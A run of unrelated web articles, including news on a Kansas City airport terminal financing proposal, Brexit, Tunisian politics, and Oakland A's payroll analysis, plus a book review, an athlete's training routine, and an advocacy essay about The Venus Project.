Some of the turmoil, CNN reports, stems from the feeling among White House aides that the PR strategy is designed to protect Kushner, the only person mentioned in the emails who works in the White House. “Who do you have to protect? You have to protect the guy who filled out the form saying I never took this meeting,” one source said.
But according to Axios, Kushner’s view is that the Trump administration can squash the whole controversy over Trump Jr.’s emails with a bit of good PR — and peace in the Middle East.
The view in Kushner’s orbit is that the brutal new revelations are more P.R. problems than legal problems. And if he makes progress with his Middle East peace efforts, perceptions would be very different.
So far he’s been wrong about firing Comey, ignoring legal advice, failing to prepare a coherent response, and creating new questions about who knew what, and when they knew it. But hey, he’s Jared Kushner. If he can’t make this Russia scandal blow over, nobody can.Burns & McDonnell, one of Kansas City’s foremost engineering firms, has proposed to privately build and finance a new single terminal at Kansas City International Airport, as a way to finally garner voter approval and get the controversial airport project done.
Burns & McDonnell has quietly floated to city government officials that it would be the lead firm in creating the design and doing the construction work. It says it has committed to using local labor, suppliers, contractors and subcontractors to the extent possible.
The Kansas City-based firm also would come up with the financing for a project that is estimated to cost about $1 billion. It plans to put money into the project itself, attract other investors and line up private lenders to complete the financing.
Such a financing would be unusual for a U.S. airport, as most airport improvements in this country are financed through airport revenue bonds. Some European airports have been privately financed.
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The advantage of this plan, according to company representatives and Mayor Sly James, is that Kansas City would issue no bonds and bear no taxpayer risk if the airport failed to generate the revenues needed to pay off the construction and other costs, including overruns.
In a meeting with The Kansas City Star’s editorial board Thursday, James said the city has been trying for five years to come up with an airport improvement plan that voters will support. He said a sticking point has been that city taxpayers think they would be on the hook — even though they wouldn’t be because airport improvements are paid for by airport users.
Private financing, James said, would remove any question of taxpayer risk.
“That’s a Kansas City innovative solution to a Kansas City sticky problem,” James said. “It’s something the airlines are comfortable with. It reduces the risk. It gets our airport built.”
SHARE COPY LINK Kansas City mayor Sly James kicks off a press conference at Kansas City International Airport announcing a proposed plan by Burns & McDonnell to build a new privately financed terminal at KCI.
However, even if the city proceeds with this private financing option, James said, it still would have an election in November. The ballot would ask the voters to sign off on this new terminal construction plan. That vote would happen because the City Council promised a vote in response to a 2014 citizens petition requiring a public election on any major KCI improvements.
If voters say no, James acknowledged, “we’re screwed.”
Burns & McDonnell has been quietly discussing its idea with council members for the past week or so, and had hoped to delay a public presentation until late next week. But when details started to leak out, the mayor and company officials provided an overview Thursday to the editorial board. They emphasized that the details are not yet final and that more will become clearer in the coming days.
The mayor and Councilwoman Jolie Justus, chairwoman of the council’s airport committee, said they hoped to introduce a memorandum of understanding at next Thursday’s council meeting with more details. That memorandum of understanding would be subject to public hearings and a council vote.
One key to the proposal for Burns & McDonnell is that it would get an exclusive arrangement with the city to provide the design and come up with a guaranteed maximum price.
Other firms would not have access to make their own offer, nor would the city request bids. James said the city would waive bidding requirements in accepting this plan and that it is legal for the city to do that.
The exclusive arrangement struck Steve McDowell, CEO of architecture firm BNIM in Kansas City, as possibly missing an opportunity given the strength of the city’s architectural design talent pool.
“Some of the best work in the country is coming out of our city, and I’d hate to see that not taken advantage of for the design of our gateway,” McDowell said.
BNIM’s predecessor firm was involved in KCI’s original design, and the firm has partnered with HNTB to work with the city in its efforts to update the airport.
If the city and voters accept Burns & McDonnell’s offer, the company would build the new airport.
SHARE COPY LINK Support for a new one-terminal design at Kansas City International Airport has been gaining momentum as engineering firm Burns & McDonnell proposes privately building and financing a new single terminal.
Councilwoman Teresa Loar, a Northlander who has been skeptical about a new single terminal for KCI, said Thursday that she thought the no-bid aspect of this idea would be a concern for her and perhaps others as well.
She said she’s eager to learn more about the proposal. But she’s not sure that airport financing is the biggest issue with Kansas City voters.
“I think people love their airport,” she said, noting that many airport users don’t want huge changes to the horseshoe-terminal configuration. Polling in the past has found significant voter opposition to a single-terminal concept. Conversely, many business travelers, and the airlines, have said KCI’s existing cramped terminals need to be replaced.
Several council members said Thursday that they’d had only preliminary meetings with Burns & McDonnell about the plan and were reserving judgment. Others said they had been contacted but had not yet been briefed.
Mayor Pro Tem Scott Wagner said he was familiar with the proposal, which he said comes at a time when the city must make a decision on modernizing the airport.
“You cannot just kind of kick the can forever,” Wagner said. “You’ve got to do something. So this group has come forward to offer an alternative way to getting it done.”
Wagner said this idea does offer taxpayers some assurance that no taxpayer dollars would be diverted to the airport. And in exchange for Burns & McDonnell’s agreeing to assume that risk, the firm gets to do the work.
“From my perspective, if someone wants to step up and accept risk, there’s obviously a price for that risk, which probably means they get to do the project,” Wagner said.
Ray Kowalik, CEO of Burns & McDonnell, said the firm ranks No. 3 in airport design and construction in the country and is currently working on a huge project at LaGuardia Airport in New York City. The company also oversaw the most recent improvements of KCI’s existing terminals, from 2001-2004.
Burns & McDonnell said it would set a guaranteed maximum price for the project, which Kowalik said was critical to getting the private lenders to provide financing. He thinks it will be close to an amount that airlines proposed a year ago, when they publicly advocated a single terminal and said they would finance it. That cost estimate was about $964 million in 2015 dollars.
Kowalik acknowledged that private financing would carry a higher interest rate than if municipal aviation bonds financed the project. Those additional interest costs can be offset, he said, by starting the project sooner and finishing it quicker.
“We’re going to beat 2024 significantly, and that helps with the financing model,” Kowalik said.
Repayment of the financing would come from revenue the airport generates through fees and other collections from the airlines that operate there. Those costs generally are passed along to passengers in ticket prices, much like fuel costs and other expenses. But supporters of the plan point out that tickets would not be expected to rise by more than a few dollars.
If that stream of revenue falls short of what’s needed to cover the private financing, the city wouldn’t be obligated to make up the difference. Airlines would be obligated.
Mike Brown, president of Burns & McDonnell International, said the financing model essentially is the same one that airlines operating at KCI agreed to a year ago, with the difference being that the financing is coming from private sources rather than the aviation revenue bonds.
The airlines, led by Southwest Airlines as the airport’s largest carrier, are set to meet and discuss the proposal Friday. Burns & McDonnell officials said they’ve gotten “nods” of approval from the carriers but are waiting to hear what the group decides at that session.
One risk for Burns & McDonnell is that it is working on the design and pricing without a guarantee that its proposal will win approval either from the City Council or voters in November. Kowalik said the company has 25 employees working full time on the effort and would eat those costs if no deal emerges.
Kowalik said the company made the offer in response to the mayor’s challenge a year ago. At that time, the airlines had announced that they wanted to move forward with a plan to replace the existing terminals with a new single terminal where the shuttered Terminal A is now. They wanted the city to hold an election in which voters would approve airport revenue bonds in August 2016.
James also wanted an election in August, but polling showed the new terminal concept was a nonstarter with voters. So the mayor put airport planning on “pause” last May. He said that if the Kansas City business community wanted a modern, functional airport that could contribute to business growth and economic development, then business executives would have to lead that charge.
Kowalik said his company took the mayor’s plea to heart and started working on this private financing idea in earnest about nine months ago. He said the company also stepped into the process because the airport’s current configuration is bad for business.
Its employees take about 33,000 flights a year at KCI and struggle too often to go where their customers are.
“It’s hard to get places, and we’re losing flights,” Kowalik said.
If voters reject the proposal? “Then we stay a second-class airport city,” Kowalik said.
James said he sees companies set up satellite offices in other markets because they can’t efficiently serve them from Kansas City because of the airport.
He’s also worried that if Kansas City doesn’t upgrade its airport soon, Johnson County could step into the vacuum and build its own airport and rob Kansas City of a vital economic engine.
“If you lose your airport, your businesses follow,” the mayor said. “I’m not going to be part of that.”Photo
The European Parliament called on Britain on Tuesday to hurry up and leave the European Union after a stormy and ill-tempered debate.
A majority of lawmakers voted in an emergency session to approve a nonbinding resolution that asks Britain to set the clock ticking “as soon as possible” on a legal process that could lead to a withdrawal from the European Union in two years. (An earlier draft of the resolution had called on Britain to invoke the legal process “immediately.”)
Britain voted, 52 percent to 48 percent, on Thursday to leave the European Union. But the referendum is not legally binding on Parliament, and Prime Minister David Cameron, who announced on Friday that he would step down by October, has left it to his successor to invoke Article 50, the formal — and never-before-used — process for a member to leave the 28-nation bloc.
Before the vote, there were furious exchanges that included the prolonged booing of Nigel Farage, the leader of the anti-European U.K. Independence Party, who castigated fellow members of the European Parliament.
Mr. Farage said that many lawmakers in the 751-member chamber had never held a proper job in their lives.
In contrast, lawmakers gave a standing ovation for Alyn Smith, a member of the European Parliament from Scotland, which voted overwhelmingly to stay in the European Union. “We will need cool heads and warm hearts, but please remember this: Scotland did not let you down,” Mr. Smith said to cheers and applause. “Do not let Scotland down now.”
The resolution, though symbolic, reflects mounting concern among European Union lawmakers and leaders that Britain could delay the formal legal process for leaving and prolong uncertainty about the future direction of the bloc and destabilize the wider economy.
There were 395 lawmakers who supported the resolution; 200 who voted against, and 71 abstained.
National leaders meeting in Brussels will begin debating the strategies for a slimmed-down bloc on Wednesday without Mr. Cameron, who is expected to leave after a group dinner Tuesday evening.Last year, the Supreme Court of Canada struck down Criminal Code provisions that prohibited physician-assisted dying, thus opening the door to assisted suicide in Canada. Not surprisingly, it’s been a tricky issue for medical professionals and their governing bodies to navigate. The Supreme Court suspended the decision for a year to allow new guidelines and regulations to be created, but this January they were forced to extend the suspension for another four months to give the government time to draft new rules for the process of assisted death.
The College of Physicians and Surgeons of British Columbia has released interim guidelines to help physicians through this time. While the Supreme Court says physician-assisted dying is a Charter right for a competent adult person who has a “grievous and irremediable medical condition” that causes intolerable suffering, the suspension of the decision will continue to apply until June. However, the Supreme Court issued an exemption for those who wish to seek assisted death in accordance with the criteria established by the Supreme Court during the four-month delay.
The college says applicants for physician-assisted death are encouraged to seek advice from the Canadian Medical Protective Association or registrar staff at the college. An applicant for assisted death must be “a competent adult person who clearly consents” and mush have a grievous and irremediable medical condition that causes intolerable and enduring suffering. The college points out in its guidelines that the illness does not have to be terminal in nature. It also makes clear that physicians have the right to decide whether or not to perform physician-assisted deaths. The college says it still expects physicians to provide patients with information and assistance to allow them to make informed choices for themselves. They are also required to provide an effective transfer of care for patients by suggesting alternate physicians or services and transferring medical records.
pdarbyshire@theprovince.com
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Here is the full text of the college’s guidelines:
College of Physicians and Surgeons of British Columbia
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consumers and producers alike. The sales tax holiday underscores the sheer productivity of marijuana taxes, Mason Tvert, director of communications for the Marijuana Policy Project, told the Colorado Spring Business Journal.
“Marijuana taxes have been incredibly productive over the past year, so this tax holiday is a much-deserved day off,” Tvert said in a statement. “This will be the one day out of the year when the state won’t generate significant revenue. Over the other 364 days, it will bring in tens of millions of dollars that will be reinvested in our state.”
Tvert’s prediction isn’t an exaggeration, as Colorado’s data indicated that the 10% retail tax on marijuana and 15% excise tax for large wholesale weed has been fruitful.
Colorado voters legalized marijuana sales and use for recreational purposes in a 2012 voter referendum.
On the state’s one-day tax holiday, shoppers saved about $20 an ounce on Wednesday, but distributors saved roughly $300 a pound, with one grower telling ABC he “probably saved $45,000 before lunch.”
Colorado netted about $69 million from marijuana taxes in the fiscal year that ended June 30. That figure included about $43 million from a 10% sales tax on retail sales and about $26 million from a 15% tax on wholesale sales. And the figures don’t include regular state or local sales taxes, meaning final revenue for legal recreational marijuana sales was actually higher.
For a month-by-month breakdown of Colorado marijuana tax collections, click here.
Marijuana on the Cover of TIME Cover Credit: GARY TRUDEAU Cover Credit: TED THAI, ARTHUR HOCHSTEIN, SCIENCE PHOTO LIBRARY/PHOTO RESEARCHERS Cover Credit: PHOTOGRAPHS BY JEFF RIEDEL FOR TIME Photograph by Jamie Chung for TIME Photo-illustration by Brobel Design for TIME. Mouse: Getty, Lighter, Joint, Smoke: iStockphoto 1 of 5 Advertisement
Write to Tanya Basu at tanya.basu@time.com.ARC Review — Vixens, Vamps, & Vipers by Mike Madrid
Vixens, Vamps, & Vipers: Lost Villainesses of Golden Age Comics
Vixens, Vamps, & Vipers: Lost Villainesses of Golden Age Comics by Mike Madrid. October, 2014. Exterminating Angel Press, 240 p. $16.95 ISBN:9781935259275.
“Between the covers of Vixens, Vamps & Vipers, fans will rediscover the original bad girls of comics—as fierce and full of surprises as they were when the comic book industry was born. From murderous Madame Doom to He-She, dubbed by io9 as “the most unsung comic book villain ever,” Mike Madrid resurrects twenty-two glorious evildoers in fully reproduced comics and explores the ways they both transcend and become ensnared in a web of cultural stereotypes.
Among the deadly femme fatales, ruthless jungle queens, devious secret agents, double-dealing criminal masterminds, and gender-bending con artists are some of the very first women of color in comics. These women may have been overlooked in the annals of history, but—like their superheroine counterparts in Divas, Dames & Daredevils—their influence, on popular culture and the archenemies that thrill us today, is unmistakable.” — Publisher’s Description
Women have not often been portrayed in comics in the most positive light, if even at all. It is only in recent years that we have seen the emergence of strong female characters who were not spilling out of every stitch of skintight leotard they put on. Many times, they are shows as assistants, secretaries, or the damsels that need our hero’s saving. Not so, in Vixens, Vamps, and Vipers!
Looking at comics published before the implementation of the Comics Code in 1954, Mike Mardid’s Vixens, Vamps, & Vipers shows us that while these Golden Age comics in no way promoted sexual equality, they did give us many strong characters, especially the baddies! These women were cunning, ruthless, smart, seductive, independent, diverse, and very outspoken. Everything we think women of the 1940s were not! Mike Madrid’s brilliant and thoroughly researched commentary makes these characters come alive in the context of their times, but also how they relate to and helped influence today’s female villains and heroines. In addition, stories referenced for each character are reproduced in full, giving the reader a wonderful insight into early comics, the 1940s, and brilliant stories they may have never seen otherwise.
Highly recommended for anyone interested in comics history, women’s studies, or mid 20th century history and culture.
Five out of five stars.
Many thanks to Exterminating Angel Press, Edelweiss, and Mike Madrid for the opportunity to read and review In Real Life early in exchange for an honest review. The final version was released on October 7, 2014.
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AdvertisementsAccording to a tweet from NXT Sports, the Philadelphia based company is looking to bring a team to the National Lacrosse League to Philly. The NLL has had a Philadelphia team, the Wings, in each year of their entire existence since 1987. The Wings moved this offseason to Connecticut where they will play as the New England Black Wolves.
We are engaged in preliminary discussions with @NLL regarding bringing the Wings back to Philadelphia. #StayTuned — NXTsports (@iamnxtsports) October 6, 2014
The talks are preliminary so it’s unlikely that it would be a 2015 move, especially after the draft has already taken place. However, it seems as if 2016 would not be out of the question.
One thing that should be noted is the word “expansion” isn’t used, so presumably, this could still be a relocated team. That remains to be seen, and it is probably too early to speculate about that.
Brett Manney, who is a defenseman on New England and formerly Philadelphia, works for and is a face of NXT, so the connection there is obvious. The question now arises of whether a company like NXT, a lacrosse events and camps company, can afford to run an NLL team with the arena costs and the like.
Does a return to Philadelphia mean right in the city at Wells Fargo Center, or more like somewhere like Allentown, where the Wings had been rumored to move to anyways?
The tweet with #StayTuned gives the impression we might have more details soon. We have reached out to the NLL for comment and will update as soon as we get it.From the creators of Where’s My Water? and Frozen Free Fall comes the next great puzzle adventure! Get Poppin! MATCH & COLLECT gumballs on an island-hopping puzzle adventure and help Crash the dodo bird fly his way home! Dodo birds can’t fly…until now! Gumballs are raining from the sky and have piled up everywhere. Tap groups of matching colors to feed them to Crash. With enough gumballs, Crash can blow a bubble big enough to carry him to the next island, and closer to home! Help Crash on his journey home to Dodo Island! Before you download this experience, please consider that this app contains in-app purchases that cost real money, as well as advertising for The Walt Disney Family of Companies and some third parties. Terms of Use: http://disneytermsofuse.com/Back at the turn of the century, the 2000/2001 Oakland A’s were remarkably successful, and that success led Michael Lewis to write a little book called Moneyball, which you’ve probably heard of. I think everything that could possibly be said about that book and those teams has probably been said, written, and re-hashed 100 times, so don’t worry, I’m not writing this post to kick that dead horse anymore. I just want to point out that, 12 years later, the A’s have basically done the exact same thing that got the book written in the first place.
Those A’s teams won 193 out of the 323 games they played, the second best winning percentage in the game, despite the fact that they were spending a fraction of what their high revenue competitors were throwing at players. The A’s teams of last year and this year have won 182 of the 312 games they’ve played, the second best winning percentage in the game, despite the fact that they were spending a fraction of what their high revenue competitors were throwing at players. For more context, a table.
A’s Teams Winning % Payroll % 2000-2001 0.597 1.8% 2012-2013 0.583 1.9%
Payroll % is simply the amount of total league payroll that the A’s accounted for in those two year windows. Basically, once you account for the inflation that the game has seen as a whole, the A’s aren’t really spending more now relative to their opponents than they were 12 years ago, even though their payroll is $20 million higher now. While MLB is certainly doing well financially as a sport, the A’s continue to significantly trail their counterparts in both revenue and payroll.
And yet, they keep winning. Since the start of last season, the A’s are 29th in MLB payroll — only the Astros have spent less — and 2nd in wins, only one victory behind the Braves for the title of winningest team in baseball. The Braves themselves deserve a lot of credit for building an excellent team with an average payroll, but even they have outspent the A’s by nearly $60 million over the last few years. For all the well earned congratulations the Rays have gotten for winning on a budget, they’ve spent more money on big league payroll and have 10 fewer wins than the A’s since the start of last season. There is no team in baseball doing more with less than the current version of the A’s. There isn’t even a team that is all that close.
With their recent surge and the Rangers collapse — coming in part due to the A’s just beating them head to head over the weekend — Oakland has all but guaranteed themselves a second straight division title; even the A’s teams that got Moneyball written didn’t accomplish that feat. And this has all happened during the era in which the A’s advantages were supposed to have dried up.
Every team — okay, almost every team — is now putting value on guys who can get on base and avoid making outs. The big market, high revenue teams have adopted many of the A’s philosophies, and are now using an analytical approach to building a team, rather than squandering their advantage in resources as was more common a decade ago. Pretty much every team has someone or multiple someones in their front office doing work with databases and looking for market inefficiencies. The A’s aren’t a revolutionary in terms of decision making anymore.
But they’re still really good at finding value. I wrote about some of their successes back in June, highlighting the huge returns the A’s have gotten from guys like Josh Donaldson, Coco Crisp, and Bartolo Colon, who make about $12 million between them this season. And certainly, those three have been hugely valuable, especially Donaldson this season.
However, these A’s teams aren’t winning the same way that the Moneyball A’s teams did. One of the loudest criticisms of the book, and the theories it espoused, is that Beane and his staff were just riding the coattails of a few really great players, most notably The Big Three of Mark Mulder, Tim Hudson, and Barry Zito, with a side of Miguel Tejada, Eric Chavez, and Jason Giambi thrown in for good measure. This team, though, is winning because of the strength of the bottom of the roster, not the top of it.
Here’s a graph of the distribution of WAR for every player who contributed to either the 2000-2001 A’s teams or the 2012-2013 A’s teams. The Moneyball era A’s players are in red, while the current players are in blue.
Those 2000-2001 A’s were extremely top heavy, with the top six players combining for +54 of the team’s +92 total WAR during those two seasons. By contrast, the top six players on the A’s teams of the last two years have racked up +38 WAR, accounting for about half of the team’s total production, but well less than the 60% that the Big Three hitters and pitchers were responsible for back then.
The difference has been almost entirely made up in roster spots 7-25, which are regularly overlooked places to add value. After the huge dominance of the red lines (the first one is Giambi, if you’re curious) in the first six spots on the chart, you see the blue lines begin to take over almost entirely after that. These A’s teams are bottom heavy, as they’ve gotten production from nearly every spot on the roster, rather than having a small core of stars do the bulk of the heavy lifting.
And this, more than anything, seems to be the best way to find value in the marketplace today. This is essentially the same plan that the Red Sox have used to resurrect their team after last year’s implosion, dumping a few premium players (by reputation, at least) and replacing them with a larger quantity of less heralded but still productive players. With the rest of baseball catching up on things like on base percentage, the A’s have once again led the charge towards building winning rosters on the cheap by exploring roster construction methods not currently en vogue.
People still like stars, but Donaldson — the A’s most productive player during the past two seasons — ranks 27th in the majors in WAR during that time. The A’s best player wouldn’t have been the best player on nearly any other team in the sport, and yet, they are second in the big leagues in winning percentage during that span. Stars are great, and there’s nothing wrong with having great players, but baseball teams do not win because their stars performed extraordinary feats, as the Angels can certainly attest.
There’s no single right way to build a baseball team, but there are some ways that are cheaper than others. The A’s lack of resources means that they constantly have to be looking for the cheapest ways to win. 12 years ago, that was developing home grown stars and finding unathletic looking guys who got on base. Now, that’s building a deep roster of above average players and utilizing them as well as possible through the effective use of job shares and platoons. The Moneyball A’s won in large part because their strengths were very strong, but these A’s are winning because their weaknesses are not very weak.
Given how the game has changed, how everyone else in baseball is now trying to do the same thing, and how the spread of knowledge across the sport was supposed to close the loophole that allowed Beane and his staff to build a winner in the first place, this team is probably more deserving of having Lewis write a book about “the art of winning an unfair game”. That the A’s have done it again is truly amazing.This article is over 5 years old
Gunmen have shot dead the leader of a leftist Tunisian opposition party outside his house, according to a party member.
Mohammed Brahmi, 58, of the Arab nationalist People's party was standing outside his home when he was gunned down, according to party member Khaled Khichi.
It is the second killing of an opposition member this year, following that of Chokri Belaid of the leftist Popular Front, who was shot dead in February. His killing provoked a political crisis that nearly derailed Tunisia's political transition.
Brahmi's daughter told Shems FM radio that two men on a moped sped up to her father outside the house and gunned him down. Local media reported he was shot 11 times.
The killing comes as Tunisia was celebrating the 56th anniversary of independence from France.
Tunisia, the birthplace of the Arab Spring, is struggling with a democratic transition after overthrowing its dictator Zine El Abidine Ben Ali in January 2011, and facing a faltering economy, popular unrest over unmet expectations and a rising extremist Islamist movement.
The government has blamed Belaid's assassination on Islamist extremists and said that six suspects are still on the run and their names will soon be revealed.
Belaid's death prompted the resignation of the prime minister and a cabinet reshuffle. The latest assassination comes as Tunisia's drawn out transition may just be nearing its end.
The new constitution has been written and will be voted on in the coming weeks. Prime Minister Ali Larayedh promised on Monday that elections for a new president would be held before the end of the year.
Tunisia is led by the moderate Islamist Ennahda party, which dominated October 2011 elections and rules in a coalition with two secular parties.
The opposition has criticised Ennahda for not cracking down on Islamist extremists, and many members of Belaid's party hold the government responsible for his assassination.This week's Mainstream Media Scream features MSNBC host Brian Williams as the example of the media cooing over Sen. John McCain and the other GOP senators who killed the party's promise to repeal and replace Obamacare.
After the defeat early Friday morning of the final opportunity in the Senate to move toward repealing Obamacare, Williams hailed McCain as a "profile in courage" for voting no, despite the fact the Arizona senator campaigned on a promise to repeal the law.
Later in the day, he touted McCain's "moment of moral courage," and also praised the "courage" of the two other Republican senators who voted no, wondering with some hope: "Is that kind of courage, for people cheering them on, going to be contagious?"
Williams on MSNBC at 2 AM EDT Friday morning, just after the vote:
"We'll leave this hour quoting Sen. Chris Murphy, Democrat of Connecticut, saying ‘I ran into John McCain as we walked underground to the Senate for the final vote. Someday, I'll get to tell my grandkids what he said to me.' The words of John McCain, who was indeed a profile in courage tonight, along with two women in the Republican caucus, Senator from Maine, Murkowski — Senator from Alaska, Murkowski — Senator from Maine, Collins."
Then, about 21 hours later, on MSNBC's The 11th Hour with Brian Williams, he offered a dramatic recounting of McCain's vote:
"In the well of the Senate, it came down to one very dramatic moment. Senator John McCain walks in, asks to be recognized, raises that right arm broken three different places in North Vietnam, a quick indicator with a thumbs down. The Democrats briefly react, Senator Schumer waives off any verbal reaction. But with that, it was done. Seven years of talk about repeal and replace done in one hand gesture.
"Our panel remains with us and we'll go to Charlie Sykes. Charlie, much was made of that moment, a moment of moral courage, a man staring down his own mortality yet again, not the first time in his life. But let's also talk about the courage of Murkowski of Alaska and Collins of Maine, because without those two women, there is no moment like that for John McCain. My question to you: Is that kind of courage, for people cheering them on, going to be contagious?"
Media Research Center Vice President of Research Brent Baker explains the pick: "The very definition of outrageous liberal bias. Can you imagine Williams heaping such praise on McCain if his vote was the one which enabled the Senate to repeal Obamacare? Of course not. But betray a promise made to your constituents in order to advance a liberal goal and you earn the media's adoration."
Rating: Five out of five screams.
Paul Bedard, the Washington Examiner's "Washington Secrets" columnist, can be contacted at pbedard@washingtonexaminer.comWhen you think of insanely fit athletes, who comes to mind? Odell Beckham? Lindsey Vonn? CrossFit Games champ Mat Fraser? What about Beau Kittredge, the two-time American Ultimate Disc League MVP? No? Well, the Alaska-born, San Francisco-based ultimate player might just be one of the fittest athletes alive.
The 6’4”, 205 pound 34-year-old boasts a 47.4 second 400-meter sprint, 39 inch vertical, and an engine that can cover up to 20 miles in a single game. We recently caught with Kittredge, who plays professional for the San Francisco Flame Throwers, to learn how he optimizes his day.
Beau Kittredge Is a New Brand of Hero After decades of being thought of as a pseudo-sport for longhairs, ultimate Frisbee is attracting elite athletes who are landing professional contracts. One of them is Beau Kittredge, who looks like an NFL wide receiver, sprints like an Olympian, and jumps like Jordan. See more. →
9 a.m: Wakeup, Stretch
“I naturally wake up around 9 a.m., drink a glass of water, and take a multi-vitamin,” says Kittredge. He’ll then stretch for about five minutes, focusing mainly on his hamstrings via seated and standing toe touches. “They’re the weakest link in my body,” he says.
9:30 a.m: Morning Stroll
“After I stretch, I walk awhile to get my body moving,” says Kittredge. He usually strolls to work—he’s an entrepreneur who sets his own hours and mainly develops mobile video games—or even just around the block for 20 minutes. He says the low-intensity, low-impact work gets blood flowing to his muscles, helping him recover from previous games and workouts, and feel more energized for the day.
10 a.m: Breakfast
A creature of habit, Kittredge eats the same breakfast ever day: A bagel with a couple eggs and vegetables, like avocado, onion, cucumber, or tomato. He chases the bagel sandwich down with a Soylent, a 400-calorie drink that delivers 21 grams of fat, 20 grams of proteins, and 37 grams of carbs. Amazingly, Kittredge doesn’t consider this a lot of food. “I don’t like to eat too much for breakfast,” he says, “because a few hours later I’ll do a track workout.”
11:15 a.m: Get Up
At work, Kittredge avoids being deskbound for too long. “If I sit for too many hours in a row, my front chain of muscles gets tight,” he says. “So, every hour, I’ll get up, walk around, and maybe stretch for about five minutes.” This kind of intermittent low-intensity exercise and mobility work has huge dividends in building and maintaining Kittredge’s movement quality and preventing injuries, he says. Once he sits, he’ll often place a lacrosse ball under his hamstrings or glutes.
1 p.m: Track Workout
Known for his speed, Kittredge’s track workouts, which he does four days a week, are the focal point of his off-season training. “We do two different track workouts: a speed one two days a week, and a tempo workout two days a week,” says Kittredge. Speed days develop Kittredge’s top end—his 400-meter sprint PR is 47.4. “We’ll warm up with stretches for a few minutes then do agility work,” he says, like shuttle runs with cones, or quick footwork with ladders. Those drills typically last about 10 minutes. He’ll then run 150 meters at 95 percent of his top speed, rest, then repeat until he sees a drop in speed. “We do 150s about three times," he says. Then Kittredge reduces the distance to around 120 meters and sprints at 95 percent effort. He rests and repeats until speed falls off again. “Then you drop it to 80 meters, and finally one more time to 50 or 60,” he says.
“In all, we usually do about three 150s, three 120s, three 80s, and maybe two 60s,” he says. “You don't want to feel your muscle burning or a change in your form.” This method cuts out ugly sprints with bad form, allows you to generate peak power, and results in better training adaptations.
His second track workout centers around tempo runs, around 200 meters. “These mimic how you feel when you're exhausted and still running,” he says. Kittredge and crew will do the same warmup and agility drills from sprint day. Then, he’ll pick a goal time to cover the 200-meters. “For us, that’s 27 or 28 seconds,” he says. Then he’ll run, and rest two minutes. That’s one round. He’ll do 8 rounds. “Each run gets progressively harder as you get tired,” he says.
2:15 p.m: Lunch
For Kittredge, lunch is typically a turkey sandwich eaten at his desk. “I don’t really track my nutrition,” he says. “I’m just constantly trying to get in more calories and drink more water.” Given Kittredge’s size, age, and regular workouts, he requires around 4,000 calories each day. He’ll slam Clif Bars or shot blocks between major meals to hit that.
4:15 p.m: Yoga
“I hate yoga, but I think it’s a necessary evil,” says Kittredge, adding that he practices yoga three days a week and when he misses it, he tends to get injured. “I usually do vinyasa or Bikram, which will destroy you—an hour and a half doing the same routine in a heated room, it’s quite miserable, but it gets my muscles super loose,” he says.
6:00 p.m: Dinner
For dinner, Kittredge mostly sticks to a formula: meat, vegetables, and a carb. It’s the specifics—spices, variety, and preparation—that changes. “Most nights we do either Indian or Thai,” says Kittredge. Two of his favorites: chicken curry with rice and vegetables, and noodles with chicken and vegetables.
8:00 p.m: Weights Workout
Three times a week, usually between track days, Kittredge will hit the weight room after dinner. “In season, we lift lighter and faster, because we don’t want to overstress ourselves and risk injury,” says Kittredge. “But in the off-season, we build ourselves up.” Kittredge focuses on heavier lifts, increasing his speed, power, and durability.
After a five-minute warmup, he’ll pair a heavy, compound lift like barbell back squats with an explosive move like box jumps. Doing those back-to-back elicits what scientists call “post-activation potentiation,” a phenomenon that allows you to generate and build more explosive power, according to a study in the Medicine and Science in Sport and Exercise. “I’ll load the bar with about 80 percent of my max, do five reps, and then immediately do five box jumps onto a two-foot box,” he says. “They’re high impact, so you want to make sure you’re doing it well, with good form—the goal isn’t to finish fast,” he says. He’ll do three sets, then move onto single-leg exercises.
“Single leg stuff is great for us because we can’t cheat and use one side more than the other,” equalizing strength, filling gaps, and improving his balance, he says. He’ll do the same post-activation potentiation method on one leg: single leg squats or dumbbell split squats followed by single leg hops over cones or onto a box, landing on one foot and balancing. Three sets of five reps for each superset is ideal, he says. “The method is a great way to build some quickness and muscle in a way that is athletic muscle.”
Then it’s onto structural work. Kittredge works his core with toes-to-bars and hanging windshield wipers (three sets of 10-to-15 reps) and lateral band walks (three sets of 20-to-30 feet of walking in each direction). “Keep the muscles around our hips strong is important because we do a lot of lateral movement in our sport.”
He finishes the workout with a couple upper body exercises. “We only do bodyweight stuff, though, like pushups and pullups” says Kittredge. “We don’t want much bulk up top.”
9:30 p.m: Eat More
“I suck down a protein drink then lay on the couch for a while until I can move,” says Kittredge. His blended protein shake contains a scoop each of whey, branch chain amino acids, creatine, a multi-vitamin mix, and frozen fruit.
11:00 p.m: Bed
Kittredge hits the sack at 11, but spends a couple of hours tying up loose ends from the day’s work. “I usually fall asleep by 1 a.m.,” he says. Waking up at nine o’clock gives him eight hours of sleep a night—an ideal number for an athlete.The Venus Project
by: Aaron
recipient: economy, future, environment, innovative, ecosystem, restructure, energy, homes, redesign
The Venus Project presents a bold, new direction for humanity, entailing nothing less than the total redesign of our culture. Unemployment, violent crime, replacement of humans by technology, over-population and a decline in stability of the Earth's ecosystems; These are the problems of today, and as you will see, The Venus Project is dedicated to confronting all of these problems. Through the use of innovative approaches to social awareness, educational incentives, and the consistent application of the best that science and technology can offer directly to the social system, The Venus Project offers a comprehensive plan for social reclamation in which human beings, technology, and nature will be able to coexist in a long-term, sustainable state of dynamic equilibrium.
As one, we can make this project happen. We have the power to decide if this is the future that humanity actually deserves, and in doing so may act with foresight to re-align our current crash-course. There has never been a time in history, a better time than now, for we the united to choose a better way. How long will it take before all understand that Life, capital L, can be better? It doesn't have to be this way.
Ask yourself: Is THIS why am i here? To turn a dollar from the sweat of my brow, so as to afford to keep the sun from my back, the rain from my head? Here I am, here to watch the daytime television, to buy the designer clothes, to consume industry-approved placation after placation? No. There is more, and more still.
The way we are living right now is a mad rush, a stampede; This pollution of mind and body is stagnation, not evolution. Money cannot warm a heart or enrich the mind. All recognize the heedless waste of planned obsolescence and monetary greed. And yet, it need not be so. With even the slightest action, you will be so amazed at just how little is needed to enact a change. You are all very special, every human on this planet is so special, so aren't we all deserving of something better, to live without fear or undue strife? As much as the water we drink, as much as the air we breathe, as much as the sun which shines down, now more than ever, we need each other to survive. Lest the soil go bare, the water impure and the air go foul, we cannot risk anything less. Nothing will change unless we want something better for ourselves. The day your child comes to you, asking "Why can't we live in a real home, why can't we have food to eat?" It will be sooner than you think if we cannot act together.
Listen, and hear. Our future is in our hands, hearts and minds. Let's make it happen. Let's come together and save our world, save each other, and save our future from ourselves.
